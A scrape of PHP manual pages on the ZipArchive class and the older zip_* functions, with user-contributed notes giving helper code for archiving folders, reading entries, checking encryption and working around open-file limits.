This example uses the old API (PHP 4), it opens a ZIP file archive, reads each file in the archive and prints out its contents. The test2.zip archive used in this example is one of the test archives in the ZZIPlib source distribution.

Example #4 Zip Usage Example

<?php

$zip = zip_open("/tmp/test2.zip");

if ($zip) {
    while ($zip_entry = zip_read($zip)) {
        echo "Name:               " . zip_entry_name($zip_entry) . "\n";
        echo "Actual Filesize:    " . zip_entry_filesize($zip_entry) . "\n";
        echo "Compressed Size:    " . zip_entry_compressedsize($zip_entry) . "\n";
        echo "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";

        if (zip_entry_open($zip, $zip_entry, "r")) {
            echo "File Contents:\n";
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            echo "$buf\n";

            zip_entry_close($zip_entry);
        }
        echo "\n";

    }

    zip_close($zip);

}
?>

User Contributed Notes

webmaster @ anonymous 27-Jun-2013 01:38
you can use this code for reading JAR files (java archives)

JAR files use the same ZIP format, so can be easily read

$zf = zip_open(realpath('D:/lucene/allinone/lucene-core.jar')); $i=1;
while($zf && $ze = zip_read($zf)) {
    $zi[$i]['zip entry name']= zip_entry_name($ze);
    $zi[$i]['zip entry filesize']= zip_entry_filesize($ze);
    $zi[$i]['zip entry compressed size']= zip_entry_compressedsize($ze);
    $zi[$i]['zip entry compression method']= zip_entry_compressionmethod($ze);
    $zi[$i]['zip entry open status'] = zip_entry_open($zf,$ze);
    //$zi[$i]['zip entry file contents'] = zip_entry_read($ze,100);
    $i++;
}
print_r($zi);
zip_close($zf);
Jonathan 19-Jan-2010 07:29
If you find your zip file not being created make sure every file you are adding to the zip is valid.  If even one file is not available when zip->close is called then the archive will fail and your zip file won't be created.
Stefano Di Paolo 04-Oct-2008 04:13
1) If you want to add files to a ZIP archive but you don't know if the ZiP file exists or not, you MUST check: this changes the way you open it !.
2) you can not append multiple flags, can use only one (or none).

If the zip does not exists, open it with:
$ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE)
(or a different compression method)

If the zip already exists, open it with:
$ziph->open($archiveFile)
or
$ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS)

Example: make backup files every hour and ZIP them all in a daily ZIP archive, so you want to get only one ZIP per day, each ZIP containing 24 files:
<?php
  function archivebackup($archiveFile, $file, &$errMsg)
  {
    $ziph = new ZipArchive();
    if(file_exists($archiveFile))
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS) !== TRUE)
      {
        $errMsg = "Unable to Open $archiveFile";
        return 1;
      }
    }
    else
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE) !== TRUE)
      {
        $errMsg = "Could not Create $archiveFile";
        return 1;
      }
    }
    if(!$ziph->addFile($file))
    {
      $errMsg = "error archiving $file in $archiveFile";
      return 2;
    }
    $ziph->close();

    return 0;
  }
?>
info at peterhofer dot ch 13-Sep-2008 06:03
All these examples will not work if the php script has no write access within the folder.

Although you may say this is obvious, I found that in this case, $zip->open("name", ZIPARCHIVE::CREATE) doesn't return an error as it might not try to access the file system but rather allocates memory.

It is only $zip->close() that returns the error. This might cause you seeking at the wrong end.
geandjay at gmail dot com 17-Apr-2008 06:25
<?php
        $zip = new ZipArchive;
    $zip->open('teste.zip');
    $zip->extractTo('./');
    $zip->close();
        echo "Ok!";
?>


The ZipArchive class

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

Introduction

A file archive, compressed with Zip.

Class synopsis

ZipArchive {
/* Properties */
int $status;
int $statusSys;
int $numFiles;
string $filename;
string $comment;
/* Methods */
bool addEmptyDir ( string $dirname )
bool addFile ( string $filename [, string $localname = NULL [, int $start = 0 [, int $length = 0 ]]] )
bool addFromString ( string $localname , string $contents )
bool addGlob ( string $pattern [, int $flags = 0 [, array $options = array() ]] )
bool addPattern ( string $pattern [, string $path = "." [, array $options = array() ]] )
bool close ( void )
bool deleteIndex ( int $index )
bool deleteName ( string $name )
bool extractTo ( string $destination [, mixed $entries ] )
string getArchiveComment ([ int $flags ] )
string getCommentIndex ( int $index [, int $flags ] )
string getCommentName ( string $name [, int $flags ] )
bool GetExternalAttributesIndex ( int $index , int &$opsys , int &$attr [, int $flags ] )
bool getExternalAttributesName ( string $name , int &$opsys , int &$attr [, int $flags ] )
string getFromIndex ( int $index [, int $length = 0 [, int $flags ]] )
string getFromName ( string $name [, int $length = 0 [, int $flags ]] )
string getNameIndex ( int $index [, int $flags ] )
string getStatusString ( void )
resource getStream ( string $name )
int locateName ( string $name [, int $flags ] )
mixed open ( string $filename [, int $flags ] )
bool renameIndex ( int $index , string $newname )
bool renameName ( string $name , string $newname )
bool setArchiveComment ( string $comment )
bool setCommentIndex ( int $index , string $comment )
bool setCommentName ( string $name , string $comment )
bool setExternalAttributesIndex ( int $index , int $opsys , int $attr [, int $flags ] )
bool setExternalAttributesName ( string $name , int $opsys , int $attr [, int $flags ] )
public bool setPassword ( string $password )
array statIndex ( int $index [, int $flags ] )
array statName ( string $name [, int $flags ] )
bool unchangeAll ( void )
bool unchangeArchive ( void )
bool unchangeIndex ( int $index )
bool unchangeName ( string $name )
}

Properties

status

Status of the Zip Archive

statusSys

System status of the Zip Archive

numFiles

Number of files in archive

filename

File name in the file system

comment

Comment for the archive

Table of Contents

  • ZipArchive::addEmptyDir — Add a new directory
  • ZipArchive::addFile — Adds a file to a ZIP archive from the given path
  • ZipArchive::addFromString — Add a file to a ZIP archive using its contents
  • ZipArchive::addGlob — Add files from a directory by glob pattern
  • ZipArchive::addPattern — Add files from a directory by PCRE pattern
  • ZipArchive::close — Close the active archive (opened or newly created)
  • ZipArchive::deleteIndex — delete an entry in the archive using its index
  • ZipArchive::deleteName — delete an entry in the archive using its name
  • ZipArchive::extractTo — Extract the archive contents
  • ZipArchive::getArchiveComment — Returns the Zip archive comment
  • ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index
  • ZipArchive::getCommentName — Returns the comment of an entry using the entry name
  • ZipArchive::getExternalAttributesIndex — Retrieve the external attributes of an entry defined by its index
  • ZipArchive::getExternalAttributesName — Retrieve the external attributes of an entry defined by its name
  • ZipArchive::getFromIndex — Returns the entry contents using its index
  • ZipArchive::getFromName — Returns the entry contents using its name
  • ZipArchive::getNameIndex — Returns the name of an entry using its index
  • ZipArchive::getStatusString — Returns the status error message, system and/or zip messages
  • ZipArchive::getStream — Get a file handler to the entry defined by its name (read only).
  • ZipArchive::locateName — Returns the index of the entry in the archive
  • ZipArchive::open — Open a ZIP file archive
  • ZipArchive::renameIndex — Renames an entry defined by its index
  • ZipArchive::renameName — Renames an entry defined by its name
  • ZipArchive::setArchiveComment — Set the comment of a ZIP archive
  • ZipArchive::setCommentIndex — Set the comment of an entry defined by its index
  • ZipArchive::setCommentName — Set the comment of an entry defined by its name
  • ZipArchive::setExternalAttributesIndex — Set the external attributes of an entry defined by its index
  • ZipArchive::setExternalAttributesName — Set the external attributes of an entry defined by its name
  • ZipArchive::setPassword — Set the password for the active archive
  • ZipArchive::statIndex — Get the details of an entry defined by its index.
  • ZipArchive::statName — Get the details of an entry defined by its name.
  • ZipArchive::unchangeAll — Undo all changes done in the archive
  • ZipArchive::unchangeArchive — Revert all global changes done in the archive.
  • ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index
  • ZipArchive::unchangeName — Revert all changes done to an entry with the given name.

User Contributed Notes

piotr dot stop dot spam at gmail dot com 18-Jan-2014 01:58
You can check general purpose flag to test if the zip file is encrypted. Example function below.

<?php

/**
 * Check if the file is encrypted
 *
 * Notice: if file doesn't exists or cannot be opened, function
 * also return false.
 *
 * @param string $pathToArchive
 * @return boolean return true if file is encrypted
 */
function isEncryptedZip( $pathToArchive ) {
    $fp = @fopen( $pathToArchive, 'r' );
    $encrypted = false;
    if ( $fp && fseek( $fp, 6 ) == 0 ) {
        $string = fread( $fp, 2 );
        if ( false !== $string ) {
            $data = unpack("vgeneral", $string);
            $encrypted = $data[ 'general' ] & 0x01 ? true : false;
        }
        fclose( $fp );
    }
    return $encrypted;
}
AshleyDambra at live dot com 16-May-2013 05:23
Simple class xZip to zip big folders into multiple parts and unzip multi zip files at once.

<?php
class xZip {
    public function __construct() {}
    private function _rglobRead($source, &$array = array()) {
        if (!$source || trim($source) == "") {
            $source = ".";
        }
        foreach ((array) glob($source . "/*/") as $key => $value) {
            $this->_rglobRead(str_replace("//", "/", $value), $array);
        }

        foreach ((array) glob($source . "*.*") as $key => $value) {
            $array[] = str_replace("//", "/", $value);
        }
    }
    private function _zip($array, $part, $destination) {
        $zip = new ZipArchive;
        @mkdir($destination, 0777, true);

        if ($zip->open(str_replace("//", "/", "{$destination}/partz{$part}.zip"), ZipArchive::CREATE)) {
            foreach ((array) $array as $key => $value) {
                $zip->addFile($value, str_replace(array("../", "./"), NULL, $value));
            }
            $zip->close();
        }
    }
    public function zip($limit = 500, $source = NULL, $destination = "./") {
        if (!$destination || trim($destination) == "") {
            $destination = "./";
        }

        $this->_rglobRead($source, $input);
        $maxinput = count($input);
        $splitinto = (($maxinput / $limit) > round($maxinput / $limit, 0)) ? round($maxinput / $limit, 0) + 1 : round($maxinput / $limit, 0);

        for($i = 0; $i < $splitinto; $i ++) {
            $this->_zip(array_slice($input, ($i * $limit), $limit, true), $i, $destination);
        }

        unset($input);
        return;
    }
    public function unzip($source, $destination) {
        @mkdir($destination, 0777, true);

        foreach ((array) glob($source . "/*.zip") as $key => $value) {
            $zip = new ZipArchive;
            if ($zip->open(str_replace("//", "/", $value)) === true) {
                $zip->extractTo($destination);
                $zip->close();
            }
        }
    }

    public function __destruct() {}
}

//$zip = new xZip;
//$zip->zip(500, "images/", "images_zip/");
//$zip->unzip("images_zip/", "images/");
?>
umbalaconmeogia at NOSPAM dot gmail dot com 28-Nov-2012 12:48
Zip a folder (include itself).
Usage:
  HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');

<?php
class HZip
{
  /**
   * Add files and sub-directories in a folder to zip file.
   * @param string $folder
   * @param ZipArchive $zipFile
   * @param int $exclusiveLength Number of text to be exclusived from the file path.
   */
  private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
    $handle = opendir($folder);
    while (false !== $f = readdir($handle)) {
      if ($f != '.' && $f != '..') {
        $filePath = "$folder/$f";
        // Remove prefix from file path before add to zip.
        $localPath = substr($filePath, $exclusiveLength);
        if (is_file($filePath)) {
          $zipFile->addFile($filePath, $localPath);
        } elseif (is_dir($filePath)) {
          // Add sub-directory.
          $zipFile->addEmptyDir($localPath);
          self::folderToZip($filePath, $zipFile, $exclusiveLength);
        }
      }
    }
    closedir($handle);
  }

  /**
   * Zip a folder (include itself).
   * Usage:
   *   HZip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
   *
   * @param string $sourcePath Path of directory to be zip.
   * @param string $outZipPath Path of output zip file.
   */
  public static function zipDir($sourcePath, $outZipPath)
  {
    $pathInfo = pathInfo($sourcePath);
    $parentPath = $pathInfo['dirname'];
    $dirName = $pathInfo['basename'];

    $z = new ZipArchive();
    $z->open($outZipPath, ZIPARCHIVE::CREATE);
    $z->addEmptyDir($dirName);
    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
    $z->close();
  }
}
?>
niklas dot schumi at NOSPAM dot googlemail dot com 02-Aug-2012 07:44
Hi there.
I just wrote a little function to zip a whole folder while maintaining the dir-structure. I hope it might help someone.

<?php
function folderToZip($folder, &$zipFile, $subfolder = null) {
    if ($zipFile == null) {
        // no resource given, exit
        return false;
    }
    // we check if $folder has a slash at its end, if not, we append one
    $folder .= end(str_split($folder)) == "/" ? "" : "/";
    $subfolder .= end(str_split($subfolder)) == "/" ? "" : "/";
    // we start by going through all files in $folder
    $handle = opendir($folder);
    while ($f = readdir($handle)) {
        if ($f != "." && $f != "..") {
            if (is_file($folder . $f)) {
                // if we find a file, store it
                // if we have a subfolder, store it there
                if ($subfolder != null)
                    $zipFile->addFile($folder . $f, $subfolder . $f);
                else
                    $zipFile->addFile($folder . $f);
            } elseif (is_dir($folder . $f)) {
                // if we find a folder, create a folder in the zip
                $zipFile->addEmptyDir($f);
                // and call the function again
                folderToZip($folder . $f, $zipFile, $f);
            }
        }
    }
}
?>

Use it like this:
<?php
$z = new ZipArchive();
$z->open("test.zip", ZIPARCHIVE::CREATE);
folderToZip("storeThisFolder", $z);
$z->close();
?>

Have a good day!
panique at web dot de 14-Jul-2012 08:21
Important: Due to the natural file size limit of 4GB (~3,6GB to be correct) of zip files, this class will generate corrupt files of the result is larger than 4 GB. Using tar.gz is a proper alternative.
bruno dot vibert at bonobox dot fr 10-May-2012 05:21
There is a usefull function to get the ZipArchive status as a human readable string :

<?php
function ZipStatusString( $status )
{
    switch( (int) $status )
    {
        case ZipArchive::ER_OK           : return 'N No error';
        case ZipArchive::ER_MULTIDISK    : return 'N Multi-disk zip archives not supported';
        case ZipArchive::ER_RENAME       : return 'S Renaming temporary file failed';
        case ZipArchive::ER_CLOSE        : return 'S Closing zip archive failed';
        case ZipArchive::ER_SEEK         : return 'S Seek error';
        case ZipArchive::ER_READ         : return 'S Read error';
        case ZipArchive::ER_WRITE        : return 'S Write error';
        case ZipArchive::ER_CRC          : return 'N CRC error';
        case ZipArchive::ER_ZIPCLOSED    : return 'N Containing zip archive was closed';
        case ZipArchive::ER_NOENT        : return 'N No such file';
        case ZipArchive::ER_EXISTS       : return 'N File already exists';
        case ZipArchive::ER_OPEN         : return 'S Can\'t open file';
        case ZipArchive::ER_TMPOPEN      : return 'S Failure to create temporary file';
        case ZipArchive::ER_ZLIB         : return 'Z Zlib error';
        case ZipArchive::ER_MEMORY       : return 'N Malloc failure';
        case ZipArchive::ER_CHANGED      : return 'N Entry has been changed';
        case ZipArchive::ER_COMPNOTSUPP  : return 'N Compression method not supported';
        case ZipArchive::ER_EOF          : return 'N Premature EOF';
        case ZipArchive::ER_INVAL        : return 'N Invalid argument';
        case ZipArchive::ER_NOZIP        : return 'N Not a zip archive';
        case ZipArchive::ER_INTERNAL     : return 'N Internal error';
        case ZipArchive::ER_INCONS       : return 'N Zip archive inconsistent';
        case ZipArchive::ER_REMOVE       : return 'S Can\'t remove file';
        case ZipArchive::ER_DELETED      : return 'N Entry has been deleted';

        default: return sprintf('Unknown status %s', $status );
    }
}

?>
webmaster at sebastiangrinke dot info 06-Oct-2011 10:30
Here is a simple function which zips folders with all sub folders or only a simple file... the $data var can be a string or an array...

<?php
public function un_zip($data,$arcpf,$mode='zip',$obj=''){
        $absoluterpfad = 'YOUR_BASE_PATH';
        $arcpf = $absoluterpfad.DS.$arcpf;
        if(is_object($obj)==false){
             $archiv = new ZipArchive();
             $archiv->open($arcpf,ZipArchive::CREATE);
        }else{$archiv =& $obj;}
        if($mode=='zip'){
           if(is_array($data)==true){
                 foreach($data as $dtmp){
                     $archiv =& un_zip($dtmp,$arcpf,'zip',&$archiv);
                 }
           }else{
            if(is_dir($data)==true){
                    $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data));
                  $files = scandir($data);
               $bad = array('.','..');
               $files = array_diff($files,$bad);
               foreach($files as $ftmp){
                   if(is_dir($data.DS.$ftmp)==true){
                        $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                        $archiv =& un_zip($data.DS.$ftmp,$arcpf,'zip',&$archiv);
                   }elseif(is_file($data.DS.$ftmp)==true){
                    $archiv->addFile($data.DS.$ftmp,str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                   }
                 }
            }elseif(is_file($data)==true){$archiv->addFile($data,str_replace($absoluterpfad.DS,'',$data));}
           }
        }
        if(is_object($obj)==false){$archiv->close();}
        else{return $archiv;}
        if($mode=='unzip'){$archiv->extractTo($data);}
    }
?>
Jerry dot Saravia at emc dot com 08-Aug-2011 10:57
The following code can be used to get a list of all the file names in a zip file.

<?php
$za = new ZipArchive();

$za->open('theZip.zip');

for( $i = 0; $i < $za->numFiles; $i++ ){
    $stat = $za->statIndex( $i );
    print_r( basename( $stat['name'] ) . PHP_EOL );
}
?>
h-fate at gmx dot net 05-Oct-2010 01:17
Be wary that there are several algorithms to generate a zip file. I found that Office OpenXML files created with ZipArchive are not recognized by Excel 2007, for example.

You have to use a different class to zip in this case, such as PclZip.
hardcorevenom at gmx dot com 16-Jun-2010 12:17
Read a file from an archive to a variable.
A warning is printed automatically in case of a CRC32 mismatch, which we capture, so we can print our own error message.

<?php
$zip = new ZipArchive();
if ($zip->open('archive.zip')) {
  $fp = $zip->getStream('myfile.txt'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to zipped file");
  $stat = $zip->statName('myfile.txt');

  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048); //reading more than 2156 bytes seems to disable internal CRC32 verification (bug?)
    }
    $s = ob_get_contents();
  ob_end_clean();
  if(stripos($s, "CRC error") != FALSE){
    echo 'CRC32 mismatch, current ';
    printf("%08X", crc32($buf)); //current CRC
    echo ', expected ';
    printf("%08X", $stat['crc']); //expected CRC
  }

  fclose($fp);
  $zip->close();
  //Done, unpacked file is stored in $buf
}
?>

To create a corrupt file, change a byte in a zip file using a hex editor.


Add a new directory

  • « ZipArchive
  • ZipArchive::addFile »
  • PHP Manual
  • ZipArchive
  • Add a new directory

ZipArchive::addEmptyDir

(PHP 5 >= 5.2.0, PECL zip >= 1.8.0)

ZipArchive::addEmptyDir — Add a new directory

Description

bool ZipArchive::addEmptyDir ( string $dirname )

Adds an empty directory in the archive.

Parameters

dirname

The directory to add.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create a new directory in an archive

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    if($zip->addEmptyDir('newDirectory')) {
        echo 'Created a new root directory';
    } else {
        echo 'Could not create the directory';
    }
    $zip->close();
} else {
    echo 'failed';
}
?>

User Contributed Notes

hunter666 at abv dot bg 26-Jun-2010 10:44
Add folder and sub-directories to zip archive.

<?php
$archive_name = "archive.zip"; // name of zip file
$archive_folder = "folder"; // the folder which you archivate

$zip = new ZipArchive;
if ($zip -> open($archive_name, ZipArchive::CREATE) === TRUE)
{
    $dir = preg_replace('/[\/]{2,}/', '/', $archive_folder."/");

    $dirs = array($dir);
    while (count($dirs))
    {
        $dir = current($dirs);
        $zip -> addEmptyDir($dir);

        $dh = opendir($dir);
        while($file = readdir($dh))
        {
            if ($file != '.' && $file != '..')
            {
                if (is_file($file))
                    $zip -> addFile($dir.$file, $dir.$file);
                elseif (is_dir($file))
                    $dirs[] = $dir.$file."/";
            }
        }
        closedir($dh);
        array_shift($dirs);
    }

    $zip -> close();
    echo 'Archiving is sucessful!';
}
else
{
    echo 'Error, can\'t create a zip file!';
}
?>
thomas dot rubbert at yahoo dot de 31-May-2009 02:19
Here's a stack-based way to zip a directory. No recursion, no function, no class:

<?php
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);

$dirName = 'test';

if (!is_dir($dirName)) {
    throw new Exception('Directory ' . $dirName . ' does not exist');
}

$dirName = realpath($dirName);
if (substr($dirName, -1) != '/') {
    $dirName.= '/';
}

/*
 * NOTE BY danbrown AT php DOT net: A good method of making
 * portable code in this case would be usage of the PHP constant
 * DIRECTORY_SEPARATOR in place of the '/' (forward slash) above.
 */

$dirStack = array($dirName);
//Find the index where the last dir starts
$cutFrom = strrpos(substr($dirName, 0, -1), '/')+1;

while (!empty($dirStack)) {
    $currentDir = array_pop($dirStack);
    $filesToAdd = array();

    $dir = dir($currentDir);
    while (false !== ($node = $dir->read())) {
        if (($node == '..') || ($node == '.')) {
            continue;
        }
        if (is_dir($currentDir . $node)) {
            array_push($dirStack, $currentDir . $node . '/');
        }
        if (is_file($currentDir . $node)) {
            $filesToAdd[] = $node;
        }
    }

    $localDir = substr($currentDir, $cutFrom);
    $zip->addEmptyDir($localDir);

    foreach ($filesToAdd as $file) {
        $zip->addFile($currentDir . $file, $localDir . $file);
    }
}

$zip->close();
?>
D.Jann 07-Oct-2008 02:26
I've brought a little modification to dayjo's code, so it wouldn't re-create the whole structure of your working drive in the zip file:

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive, $zipdir = ''){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            if(!empty($zipdir)) $zipArchive->addEmptyDir($zipdir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive, $zipdir . $file . "/");
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file, $zipdir . $file);

                }
            }
        }
    }
}
?>

If you don't specify the third parameter (zipdir), the directory you're adding will be added at the root of the zip file.

D.Jann
pagetronic 12-Sep-2008 12:53
addEmptyDir doesn't exist now,
use $zip->addFile($file, $dir.$fichier);

nothing on the net about this,

addEmptyDir work on Ubuntu but not on Debian Etch
Anonymous 25-Aug-2008 12:28
Here's a simple recurring function to add a directory, all sub-directories and all files to an already created zip file;

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            $zipArchive->addEmptyDir($dir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive);
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file);

                }
            }
        }
    }
}
?>

Would be nice to see more input on these functions :)

Dayjo
benjamin dot seiller at antwerpes dot de 21-Jul-2008 01:37
There is kind of a bug in the method
ZipArchive::addFile
which affects the class ZipFolder below.
It is related to the numer of max filehandles of the OS.

As workaround add a file-counter to the class and close + reopen the archive if a certain number of files (directories count as files!) is reached.

For more details see here:
http://de.php.net/manual/en/function.ziparchive-addfile.php
or go directly here
http://bugs.php.net/bug.php?id=40494
or here
http://pecl.php.net/bugs/bug.php?id=9443


Adds a file to a ZIP archive from the given path

  • « ZipArchive::addEmptyDir
  • ZipArchive::addFromString »
  • PHP Manual
  • ZipArchive
  • Adds a file to a ZIP archive from the given path

ZipArchive::addFile

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::addFile — Adds a file to a ZIP archive from the given path

Description

bool ZipArchive::addFile ( string $filename [, string $localname = NULL [, int $start = 0 [, int $length = 0 ]]] )

Adds a file to a ZIP archive from a given path.

Parameters

filename

The path to the file to add.

localname

If supplied, this is the local name inside the ZIP archive that will override the filename.

start

This parameter is not used but is required to extend ZipArchive.

length

This parameter is not used but is required to extend ZipArchive.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

This example opens a ZIP file archive test.zip and add the file /path/to/index.txt. as newname.txt.

Example #1 Open and add

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFile('/path/to/index.txt', 'newname.txt');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

Notes

Note:

When a file is set to be added to the archive, PHP will lock the file. The lock is only released once the ZipArchive object has been closed, either via ZipArchive::close() or the ZipArchive object being destroyed. This may prevent you from being able to delete the file being added until after the lock has been released.

User Contributed Notes

todd at toddwiggins dot com dot au 15-May-2014 12:31
The addFile() method does not accept the "file://" protocol. Strip away "file://" and use the absolute path instead.

I assume that it also does not accept any other protocols, I was having issues trying to add files, other functions within the application I was building required the use of the protocol.

Also to note, the status code returned did not match any of the predefined error codes, and the status code was never the same. My assumption was a overflow on the variable as the status codes were around the minimum and maximum INT values.
frame86 at live dot com 13-Apr-2014 01:48
The manual is lying.

"In short, it means you can first delete an added file after the archive is closed. "

Thats true but not by locking the file...
Warning! This method works asynchronous!

It seems that addFile() will return TRUE if the file stat command returns correctly, but the operation itself will not happen yet.

Instead, deleting a file is always possible. I have discovered this behaviour by using a temporary file and deleting it immediately after addFile() returns. The result was that no archive was created nor any file was added although every operation (creating,open(),addFile()) returned true before. The operation silenty fails.
romuloum at hotmail dot com 04-Apr-2014 04:00
If you have problem with windows explorer reading zipfile created by linux, try:
$oZip->addFile ( $file_name, " " . basename ( $file_name ) )
That space " " should solve.
s dot eckert dot spam at gmx dot com 12-Oct-2013 12:27
Note that there is no concept of "folders" for ZIP files. If you need to store data into folders, use forward slashes ("/") in $localname to separate folder(s) and the file name.

Example:
$zip->addFile("test.txt", "mainfolder/subfolder/test.txt");
arrtedone at gmail dot com 29-Aug-2013 05:19
Note that ZipArchive::open() not return boolean value, but integer, for example :
$zip = new ZipArchive();
$filename = '/tmp/test.zip';
var_dum($zip->open($filename)); // return's : int (11)
kris at blacksuitmedia [do/t/] c0m 26-Apr-2013 05:41
I had a huge number of files and folders that I needed to zip on a linux web server. I was running into timeout problems and file enumerator issues, as well as file handler limit issues (ulimit). I used a script to solve u limit offered by Farzad Ghanei first (ZipArchiveImproved), but closing and reopening his way didn't do the trick for me.

I eventually did a simple call to a $filelimit variable I created that records file handler limit I want my script to hit before it closes and reopens the file.
<?php
$filelimit = 255;

if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}
?>

This made some progress for me, timeouts were gone, but when calling
<?php $zip->addFile($filepath, $archivefilepath); ?>
after the reopening of the Zip, I got an error. I echoed the <?php $zip->numFiles; ?> and found that after reopening, the numFile enum reset to '0'.

A few more goose-chases later, I tried addFromString with some better results, but did not get it working 100% until I actually coupled addFromString with addFile! My working scripting for the add files function on massive file-folder structures looks like so:

<?php
$sourcefolder = /rel/path/to/source/folder/on/server/

$dirlist = new RecursiveDirectoryIterator($sourcefolder);

$filelist = new RecursiveIteratorIterator($dirlist);

//how many file can be added before a reopen is forced?
$filelimit = 245;

// Defines the action
$file = tempnam("tmp", "zip");
$zip = new ZipArchive();

// This creates and then gives the option to save the zip file

if ($zip->open($file, ZipArchive::OVERWRITE) !== TRUE) {

    die ("Could not open archive");

}

// adds files to the file list
foreach ($filelist as $key=>$value) {

    //fix archive paths
    $path = str_replace($sourcefolder, "", $key); //remove the source path from the $key to return only the file-folder structure from the root of the source folder
    if (!file_exists($key)) { die($key.' does not exist. Please contact your administrator or try again later.'); }
      if (!is_readable($key)) { die($key.' not readable. Please contact your administrator or try again later.'); }
          if ($zip->numFiles == $filelimit) {$zip->close(); $zip->open($file) or die ("Error: Could not reopen Zip");}

    $zip->addFromString($path, $key) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);
    $zip->addFile(realpath($key), $path) or die ("ERROR: Could not add file: $key </br> numFile:".$zip->numFiles);

}

// closes the archive
$zip->close();

//make local temp file a .zip, rename, and move to output dir
rename ($file, "./" . $outputfolder . "/" . $zipfilename);
?>
I hope this may help someone else.
Dean Rather 31-Oct-2012 12:47
This add directory function does not require that you create a new wrapper class, and also does not add the entire file directory tree into your zip file.

<?php

public function addDirectoryToZip($zip, $dir, $base)
{
    $newFolder = str_replace($base, '', $dir);
    $zip->addEmptyDir($newFolder);
    foreach(glob($dir . '/*') as $file)
    {
        if(is_dir($file))
        {
            $zip = $this->addDirectoryToZip($zip, $file, $base);
        }
        else
        {
            $newFile = str_replace($base, '', $file);
            $zip->addFile($file, $newFile);
        }
    }
    return $zip;
}

?>
shano 01-May-2012 11:21
thought it might come in handy
recursively adds all directories and files within a directory

class zip extends ZipArchive {

    public function addDirectory($dir) { // adds directory
        foreach(glob($dir . '/*') as $file) {
            if(is_dir($file))
                $this->addDirectory($file);
            else
                $this->addFile($file);
        }
    }
}
ptipti at gala dot net 06-Apr-2012 09:12
Another surprise, which took a lot of trouble. So that after you add a file to the archive it can be safely removed, took advantage of such construction:

if (!is_file ($archive)) :
    $result = $zip->open ($archive, ZipArchive::CREATE);
else :
    $result = $zip->open ($archive);
endif;
if ($result === TRUE) :
    if (($zip->addFile ($file, $filename)) === TRUE) :
        $theoreticaly_added = TRUE;
    endif;
    if ((($zip->close ()) === TRUE) && $theoreticaly_added) :
        unlink ($file);
    endif;
endif;

Now the files will not disappear. But perhaps there is a simpler solution, which gives 100% guarantee?
sp at read dot eu 17-Feb-2012 05:25
Note that using addFile() will change the order of the files within the zip, in fact within the index of the zip. Does not matter much, except if you loop the index and use addFile() within that loop : it will likely give messy results.

Example :
<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      addFile('./somenewfile.ext', $zip->getNameIndex($i));
    }
  }
}
$zip->close();
?>

This code may loop for ever, depending on your forsomereason() function, or at least you're at risk.

Try something like this instead :

<?php
$zip = new ZipArchive;
if ($zip->open('somefile.zip') === TRUE) {
  for ($i = 0; $i < $zip->numFiles; $i++) {
    if (forsomereason()) {
      $couples[]=array('filename'=>'./somenewfile.ext','localname'=>$zip->getNameIndex($i));
    }
  }
}
foreach ($couples as $couple) $zip->addFile($couple['filename'],$couple['localname']);
$zip->close();
?>

Hope it helps ;-)
john factorial 29-Dec-2010 09:57
Beware: calling $zip->addFile() on a file that doesn't exist will succeed and return TRUE, delaying the failure until you make the final $zip->close() call, which will return FALSE and potentially leave you scratching your head.

If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist.

It's also a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
aartdebruijn at gmail dot com 04-Nov-2010 03:37
When adding a file to your zip, the file is opened and stays open.
When adding over 1024 files (depending on your open files limit) the server stops adding files, resulting in a status 11 in your zip Archive. There is no warning when exceeding this open files limit with addFiles.

Check your open files with ulimit -a

This kept me busy for some time.
